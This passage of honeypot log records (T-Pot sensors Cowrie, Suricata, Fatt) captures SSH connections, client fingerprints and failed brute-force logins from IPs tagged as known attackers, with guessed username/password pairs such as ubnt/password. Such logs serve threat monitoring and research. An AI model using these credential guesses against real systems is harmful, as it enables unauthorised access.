26909	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:13:23.847715+03	2021-09-20 14:15:13.884646+03	{"_id": "sQbpAnwBvYTbRNuEHyQb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "83829f2c10f7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:13:23.847715Z", "@timestamp": "2021-09-20T11:13:23.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26910	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:13:24.140147+03	2021-09-20 14:15:13.885646+03	{"_id": "sAbpAnwBvYTbRNuEHyQb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "83829f2c10f7", "@version": "1", "timestamp": "2021-09-20T11:13:24.140147Z", "@timestamp": "2021-09-20T11:13:24.140Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26911	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:13:25.39746+03	2021-09-20 14:15:13.886646+03	{"_id": "tAbpAnwBvYTbRNuEIyQE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [joshua/password] failed", "session": "83829f2c10f7", "@version": "1", "password": "password", "username": "joshua", "timestamp": "2021-09-20T11:13:25.397460Z", "@timestamp": "2021-09-20T11:13:25.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26912	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:25.580711+03	2021-09-20 14:15:13.887646+03	{"_id": "tgbpAnwBvYTbRNuEIyQE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [fax/changeme] failed", "session": "da4d06f9f572", "@version": "1", "password": "changeme", "username": "fax", "timestamp": "2021-09-20T11:13:25.580711Z", "@timestamp": "2021-09-20T11:13:25.580Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26913	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:13:26.123039+03	2021-09-20 14:15:13.888646+03	{"_id": "twbpAnwBvYTbRNuEJSQM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 1733104881814094, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38516, "dest_port": 22, "timestamp": "2021-09-20T11:13:26.123039Z", "@timestamp": "2021-09-20T11:13:26.123Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26914	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:26.090937+03	2021-09-20 14:15:13.890647+03	{"_id": "uwbpAnwBvYTbRNuEJiQ8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38516, "timestamp": "2021-09-20T11:13:26.090937", "@timestamp": "2021-09-20T11:13:26.090Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26915	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:13:26.123351+03	2021-09-20 14:15:13.891646+03	{"_id": "vAbpAnwBvYTbRNuEJiTt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e7a27c7ba74b", "@version": "1", "timestamp": "2021-09-20T11:13:26.123351Z", "@timestamp": "2021-09-20T11:13:26.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26916	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:13:26.353887+03	2021-09-20 14:15:13.893647+03	{"_id": "xQbpAnwBvYTbRNuEJiTu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [shoutcast/test] failed", "session": "e7a27c7ba74b", "@version": "1", "password": "test", "username": "shoutcast", "timestamp": "2021-09-20T11:13:26.353887Z", "@timestamp": "2021-09-20T11:13:26.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26917	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:11.91525+03	2021-09-20 14:15:13.895646+03	{"_id": "MAboAnwBvYTbRNuE7ySB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55578, "dest_port": 22, "timestamp": "2021-09-20T11:13:11.915250", "@timestamp": "2021-09-20T11:13:11.915Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26918	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:12.357802+03	2021-09-20 14:15:13.896646+03	{"_id": "MQboAnwBvYTbRNuE7ySB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48396, "timestamp": "2021-09-20T11:13:12.357802", "@timestamp": "2021-09-20T11:13:12.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26919	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:12.075096+03	2021-09-20 14:15:13.898644+03	{"_id": "NwboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48396 (192.168.176.2:22) [session: d27c279f3a5b]", "session": "d27c279f3a5b", "@version": "1", "protocol": "ssh", "src_port": 48396, "dest_port": 22, "timestamp": "2021-09-20T11:13:12.075096Z", "@timestamp": "2021-09-20T11:13:12.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26920	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:13:12.36517+03	2021-09-20 14:15:13.899644+03	{"_id": "OAboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:57586 (192.168.176.2:22) [session: 11488e9ee7be]", "session": "11488e9ee7be", "@version": "1", "protocol": "ssh", "src_port": 57586, "dest_port": 22, "timestamp": "2021-09-20T11:13:12.365170Z", "@timestamp": "2021-09-20T11:13:12.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26921	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:11.805145+03	2021-09-20 14:15:13.900646+03	{"_id": "RgboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ubnt/password] failed", "session": "517e1283a7dc", "@version": "1", "password": "password", "username": "ubnt", "timestamp": "2021-09-20T11:13:11.805145Z", "@timestamp": "2021-09-20T11:13:11.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26922	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:11.91555+03	2021-09-20 14:15:13.901646+03	{"_id": "RwboAnwBvYTbRNuE8CQ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "08ae133585e1", "@version": "1", "timestamp": "2021-09-20T11:13:11.915550Z", "@timestamp": "2021-09-20T11:13:11.915Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 